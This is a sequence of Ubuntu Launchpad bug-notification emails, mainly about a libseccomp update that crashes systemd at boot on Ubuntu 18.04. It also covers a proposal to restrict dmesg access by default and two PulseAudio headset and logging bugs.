  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh 

[Touch-packages] [Bug 1886115] ProcCpuinfoMinimal.txt

[guenthert]

apport information

** Attachment added: "ProcCpuinfoMinimal.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389200/+files/ProcCpuinfoMinimal.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  MachineType: Apple Inc. Macmini5,1
  NonfreeKernelModules: wl
  Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
  PackageArchitecture: amd64
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 01/24/2012
  dmi.bios.vendor: Apple Inc.
  dmi.bios.version: MM51.88Z.0077.B10.1201241549
  dmi.board.asset.tag: Base Board Asset Tag#
  dmi.board.name: Mac-8ED6AF5B48C039E1
  dmi.board.vendor: Apple Inc.
  dmi.board.version: Macmini5,1
  dmi.chassis.type: 16
  dmi.chassis.vendor: Apple Inc.
  dmi.chassis.version: Mac-8ED6AF5B48C039E1
  dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
  dmi.product.family: Macmini
  dmi.product.name: Macmini5,1
  dmi.product.sku: System SKU#
  dmi.product.version: 1.0
  dmi.sys.vendor: Apple Inc.
  --- 
  ProblemType: Bug
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  CurrentDesktop: MATE
  Dependencies:
   gcc-8-base 8.4.0-1ubuntu1~18.04
   libc6 2.27-3ubuntu1
   libgcc1 1:8.4.0-1ubuntu1~18.04
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2019-03-30 (460 days ago)
  InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  NonfreeKernelModules: wl
  Package: libseccomp2 2.4.3-1ubuntu3.18.04.2
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
  Tags:  bionic
  Uname: Linux 5.3.0-62-generic x86_64
  UpgradeStatus: No upgrade log 

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[guenthert]

apport information

** Tags added: apport-collected bionic

** Description changed:

After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system then
  appears to hang indefinitely.
  
Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 
  
To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.
  
-   I was able to circumvent the problem by disabling (commenting out) the
- syscall filtering requested by systemd (on my system, only
- /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
- modified).
+   I was able to circumvent the problem by disabling (commenting out) the 
syscall filtering requested by systemd (on my system, only 
/etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be 
modified).
+ --- 
+ ProblemType: Bug
+ ApportVersion: 2.20.9-0ubuntu7.15
+ Architecture: amd64
+ CurrentDesktop: MATE
+ DistroRelease: Ubuntu 18.04
+ InstallationDate: Installed on 2019-03-30 (460 days ago)
+ InstallationMedia: Ubuntu 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
+ MachineType: Apple Inc. Macmini5,1
+ NonfreeKernelModules: wl
+ Package: systemd 237-3ubuntu10.41 [modified: 
lib/systemd/system/systemd-resolved.service]
+ PackageArchitecture: amd64
+ ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.3.0-62-generic 
root=UUID=891c2e06-2b40-4e79-a57f-6e550be932bb ro recovery nomodeset
+ ProcVersionSignature: Ubuntu 5.3.0-62.56~18.04.1-generic 5.3.18
+ Tags:  bionic
+ Uname: Linux 5.3.0-62-generic x86_64
+ UpgradeStatus: No upgrade log present (probably fresh install)
+ UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo
+ _MarkForUpload: True
+ dmi.bios.date: 01/24/2012
+ dmi.bios.vendor: Apple Inc.
+ dmi.bios.version: MM51.88Z.0077.B10.1201241549
+ dmi.board.asset.tag: Base Board Asset Tag#
+ dmi.board.name: Mac-8ED6AF5B48C039E1
+ dmi.board.vendor: Apple Inc.
+ dmi.board.version: Macmini5,1
+ dmi.chassis.type: 16
+ dmi.chassis.vendor: Apple Inc.
+ dmi.chassis.version: Mac-8ED6AF5B48C039E1
+ dmi.modalias: 
dmi:bvnAppleInc.:bvrMM51.88Z.0077.B10.1201241549:bd01/24/2012:svnAppleInc.:pnMacmini5,1:pvr1.0:rvnAppleInc.:rnMac-8ED6AF5B48C039E1:rvrMacmini5,1:cvnAppleInc.:ct16:cvrMac-8ED6AF5B48C039E1:
+ dmi.product.family: Macmini
+ dmi.product.name: Macmini5,1
+ dmi.product.sku: System SKU#
+ dmi.product.version: 1.0
+ dmi.sys.vendor: Apple Inc.

** Attachment added: "CurrentDmesg.txt"
   
https://bugs.launchpad.net/bugs/1886115/+attachment/5389195/+files/CurrentDmesg.txt

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root 

[Touch-packages] [Bug 1886112] Re: Enabling DMESG_RESTRICT in Groovy Onward

[Matthew Ruffell]

Attached is a debdiff for procps on Groovy. It adds a commented out
entry to 10-kernel-hardening.conf which users can use to disable the
setting if they wish.

** Patch added: "procps debdiff for Groovy"
   
https://bugs.launchpad.net/ubuntu/+source/util-linux/+bug/1886112/+attachment/5389194/+files/lp1886112_procps_groovy.debdiff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to procps in Ubuntu.
https://bugs.launchpad.net/bugs/1886112

Title:
  Enabling DMESG_RESTRICT in Groovy Onward

Status in linux package in Ubuntu:
  Fix Committed
Status in procps package in Ubuntu:
  In Progress
Status in util-linux package in Ubuntu:
  In Progress
Status in linux source package in Groovy:
  Fix Committed
Status in procps source package in Groovy:
  In Progress
Status in util-linux source package in Groovy:
  In Progress

Bug description:
  [Impact]

  This bug implements the enablement of CONFIG_SECURITY_DMESG_RESTRICT
  feature by default for Groovy onward, proposed to ubuntu-devel:

  https://lists.ubuntu.com/archives/ubuntu-devel/2020-June/041063.html

  The kernel log buffer contains a wealth of sensitive information, such
  as detailed call traces and kernel addresses found in register dumps
  in kernel oops messages.

  Exploit developers and attackers can leverage these information leaks
  to get past KASLR, and they can use the kernel log buffer to get
  instant feedback on their privilege escalation attacks, as failures
  will be shown as further oops messages, which attackers can use to fix
  and tune their programs until they work.

  Currently, if I create a new, unprivileged user on a Focal system,
  they cannot access /var/log/kern.log, /var/log/syslog or see system
  events in journalctl. But yet, they are given free reign to the kernel
  log buffer.

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ cat /var/log/kern.log
  cat: /var/log/kern.log: Permission denied
  $ cat /var/log/syslog
  cat: /var/log/syslog: Permission denied
  $ journalctl
  Hint: You are currently not seeing messages from other users and the system.
Users in groups 'adm', 'systemd-journal' can see all messages.
Pass -q to turn off this notice.
  Jun 16 23:44:59 ubuntu systemd[2328]: Reached target Main User Target.
  Jun 16 23:44:59 ubuntu systemd[2328]: Startup finished in 69ms.
  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  I propose that we restrict access to dmesg to users in group 'adm'
  like so:

  1) CONFIG_SECURITY_DMESG_RESTRICT=y in the kernel.
  2) Following changes to /bin/dmesg permissions in package 'util-linux'
  - Ownership changes to root:adm
  - Permissions changed to 0750 (-rwxr-x---)
  - Add cap_syslog capability to binary.
  3) Add a commented out '# kernel.dmesg_restrict = 0' to
 /etc/sysctl.d/10-kernel-hardening.conf

  For most users, they will use the initial admin account, which is in
  the 'adm' group already, and will see no impact to these changes. If a
  log scraper type program needs access to dmesg, the user the daemon
  runs as can simply be added to the 'adm' group.

  [Testcase]

  Currently, all users can run /usr/bin/dmesg to view the kernel log
  buffer:

  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  When the changes are applied, the default admin user will be able to
  view dmesg (since they are in group 'adm'), while new unprivileged
  users will not.

  $ whoami
  ubuntu
  $ groups
  ubuntu adm cdrom sudo dip plugdev
  $ dmesg
  [0.00] Linux version 5.4.0-34-generic (buildd at lcy01-amd64-014)
  (gcc version 9.3.0 (Ubuntu 9.3.0-10ubuntu2)) #38-Ubuntu SMP Mon May 25 
15:46:55
  UTC 2020 (Ubuntu 5.4.0-34.38-generic 5.4.41)
  [0.00] Command line: BOOT_IMAGE=/boot/vmlinuz-5.4.0-34-generic
  root=UUID=f9f909c3-782a-43c2-a59d-c789656b4188 ro
  ...

  $ sudo adduser dave
  $ su dave
  $ groups
  dave
  $ dmesg
  -bash: /usr/bin/dmesg: Permission denied

  [Regression Potential]

  Some users or log scraper type programs may need to view the kernel
  log buffer, or have access to dmesg. In this case, the underlying
  service user would need to be added to the 'adm' group.

  Users have the ability to disable DMESG_RESTRICT by uncommenting the
  sysctl in /etc/sysctl.d/10-kernel-hardening.conf.

To manage notifications about this bug go to:

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[guenthert]

> have you customised the syscall filtering in this profile at all?
Don't know what you mean by profile there.  The OS runs on bare-metal here.  
The only related modification I made has been (now) the reported commenting-out 
of
--8<--
SystemCallFilter=~@clock @cpu-emulation @debug @keyring @module @mount 
@obsolete @raw-io @reboot @swap
-->8--
in /etc/systemd/system/dbus-org.freedesktop.ModemManager1.service which is 
(here) just a symbolic link to /lib/systemd/system/systemd-resolved.service.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my system, only
  /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
  modified).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1886115/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[Alex Murray]

You can specify the package name using `-p` - so perhaps:

apport-collect -p systemd 1886115
apport-collect -p libseccomp2 1886115

Would do the trick?

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my system, only
  /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
  modified).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1886115/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1882248] Re: plug headset won't proper reconfig ouput to it on machine with default output

[Hui Wang]

** Description changed:

- target machine does not have built-in speaker, and the monitor does not
- have an audio output (like d-sub VGA)
+ For linux kernel (oem-b):
+ 
+ [Impact]
+ On a Dell machine without internal spk and internal mic, after freshly
+ install the bionic on it, and users plug a headset, the sound couldn't
+ output from headset.
+ 
+ [Fix]
+ reverse the order of headset mic and headphone mic
+ 
+ [Test Case]
+ freshly install the bionic with this patch on that dell machine,
+ plug headset and play sound, we could hear the sound from headset.
+ 
+ [Regression Risk]
+ Low, this patch only affects the machine without internal mic and
+ internal spk, and I already tested this patch on the machine without
+ internal mic and internal spk, it worked well.
+ 
+ 
+ 
+ target machine does not have built-in speaker, and the monitor does not have 
an audio output (like d-sub VGA)
  
  As first boot, there will be a "dummy output" in g-c-c.
  
  After plug-in headset, there will be a headset appear in g-c-c, but it
  won't be automatically selected even it's chosen in the pop-up window.

** No longer affects: linux (Ubuntu)

** No longer affects: linux (Ubuntu Bionic)

** Also affects: linux-oem (Ubuntu)
   Importance: Undecided
   Status: New

** No longer affects: pulseaudio (Ubuntu Bionic)

** Also affects: pulseaudio (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: linux-oem (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: linux-oem (Ubuntu)
 Assignee: (unassigned) => Hui Wang (hui.wang)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/1882248

Title:
  plug headset won't proper reconfig ouput to it on machine with default
  output

Status in HWE Next:
  New
Status in OEM Priority Project:
  Confirmed
Status in linux-oem package in Ubuntu:
  New
Status in pulseaudio package in Ubuntu:
  New
Status in linux-oem source package in Bionic:
  New
Status in pulseaudio source package in Bionic:
  New

Bug description:
  For linux kernel (oem-b):

  [Impact]
  On a Dell machine without internal spk and internal mic, after freshly
  install the bionic on it, and users plug a headset, the sound couldn't
  output from headset.

  [Fix]
  reverse the order of headset mic and headphone mic

  [Test Case]
  freshly install the bionic with this patch on that dell machine,
  plug headset and play sound, we could hear the sound from headset.

  [Regression Risk]
  Low, this patch only affects the machine without internal mic and
  internal spk, and I already tested this patch on the machine without
  internal mic and internal spk, it worked well.


  
  target machine does not have built-in speaker, and the monitor does not have 
an audio output (like d-sub VGA)

  As first boot, there will be a "dummy output" in g-c-c.

  After plug-in headset, there will be a headset appear in g-c-c, but it
  won't be automatically selected even it's chosen in the pop-up window.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1882248/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1886115] Re: libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

[Alex Murray]

If this is indeed related to the Gentoo bug, I cannot see anywhere in
libseccomp where the environment is being modified. As such I suspect
this is likely actually a bug in systemd where it is modifying the
environment across the exec() and the libseccomp update has just caused
it to actually manifest (due to changed memory layouts as a result of
this new library version / size etc). So assigning this to systemd as
well for now.

** Also affects: systemd (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libseccomp in Ubuntu.
https://bugs.launchpad.net/bugs/1886115

Title:
  libseccomp 2.4.3-1ubuntu3.18.04.2 causes systemd to segfault on boot

Status in libseccomp package in Ubuntu:
  New
Status in systemd package in Ubuntu:
  New

Bug description:
After applying updates to Ubuntu 18.04 my desktop (apple mini with
  i5-2415M CPU) failed to complete the boot process.  A few seconds into
  the boot, the last message displayed is "/var mounted".  The system
  then appears to hang indefinitely.

Luckily, the 'rescue' boot image allows the boot process to proceed 
sufficiently far to allow a root shell to be spawned.  Unfortunately no log 
files were written during the unsuccessful attempts to boot.  Spawning a 2nd 
root shell (# nohup getty tty5) on a 2nd virtual terminal (tty5) I was able to 
observe the message 'systemd freezing execution' after I closed the first root 
shell and resumed the boot process.  Further a core file was created (belonging 
to /sbin/init) in the root fs
  --8<--
  (gdb) bt
  #0  0x7f16807ba187 in kill () at ../sysdeps/unix/syscall-template.S:78
  #1  0x563b957223b7 in ?? ()
  #2  
  #3  __GI___libc_free (mem=0x4a60d140dfd9a5) at malloc.c:3103
  #4  0x563b9577c22e in ?? ()
  #5  0x563b957672d6 in ?? ()
  #6  0x563b9576ba22 in ?? ()
  #7  0x563b9574f51a in ?? ()
  #8  0x7f16803a509a in ?? () from /lib/systemd/libsystemd-shared-237.so
  #9  0x7f16803a53ea in sd_event_dispatch () from 
/lib/systemd/libsystemd-shared-237.so
  #10 0x7f16803a5579 in sd_event_run () from 
/lib/systemd/libsystemd-shared-237.so
  #11 0x563b9572a49d in ?? ()
  #12 0x563b9571560c in ?? ()
  #13 0x7f168079cb97 in __libc_start_main (main=0x563b957139c0, argc=3, 
argv=0x7ffe78153758, 
  init=, fini=, rtld_fini=, 
  stack_end=0x7ffe78153748) at ../csu/libc-start.c:310
  #14 0x563b957164fa in ?? ()
  (gdb) 
  -->8--
   and the kernel message buffer lists 
  --8<--
  traps: systemd[1] general protection fault ip:7f17ebf6e98d sp:7ffd774d6020 
error:0 in libc-2.27.so[7f17ebed7000+1e7000]
  -->8--
  . 

To me that looked a bit like Bug 669702 of Gentoo
  (https://bugs.gentoo.org/669702) and indeed one of the (few) updates
  applied just prior the reboot was the update of libseccomp.

I was able to circumvent the problem by disabling (commenting out)
  the syscall filtering requested by systemd (on my system, only
  /etc/systemd/system/dbus-org.freedesktop.resolve1.service needed to be
  modified).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libseccomp/+bug/1886115/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 320875] Re: pulseaudio produces lots of log messages

[Daniel van Vugt]

This bug was fixed 11 years ago. Please open a new bug for any new
problem you are having.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to pulseaudio in Ubuntu.
https://bugs.launchpad.net/bugs/320875

Title:
  pulseaudio produces lots of log messages

Status in ALSA driver:
  New
Status in linux package in Ubuntu:
  Fix Released
Status in pulseaudio package in Ubuntu:
  Fix Released

Bug description:
  Binary package hint: pulseaudio

  pulseaudio 0.9.14-0ubuntu1 produces these log messages:

  alsa-util.c: Cannot find fallback mixer control "PCM" or mixer control is no 
combination of switch/volume.
  alsa-util.c: snd_pcm_avail_update() returned a value that is exceptionally 
large: 412788 bytes (780 ms) Most likely this is an ALSA driver bug. Please 
report this issue to the PulseAudio developers.

  and thousands of this:

  module-alsa-sink.c: ALSA woke us up to write new data to the device,
  but there was actually nothing to write! Most likely this is an ALSA
  driver bug. Please report this issue to the PulseAudio developers.

  With pulseaudio 0.9.14-0ubuntu2 the error message changed to:

  module-alsa-sink.c: ALSA woke us up to write new data to the device,
  but there was actually nothing to write! Most likely this is an ALSA
  driver bug. Please report this issue to the ALSA developers. We were
  woken up with POLLOUT set -- however a subsequent
  snd_pcm_avail_update() returned 0.

  With pulseaudio 0.9.14-0ubuntu1 I have only these log messages, but no
  sound glitches any more.

  $ cat /proc/asound/cards 
   0 [Audigy2]: Audigy2 - Audigy 4 [SB0610]
Audigy 4 [SB0610] (rev.0, serial:0x10211102) at 0x1000, 
irq 21

To manage notifications about this bug go to:
https://bugs.launchpad.net/alsa-driver/+bug/320875/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
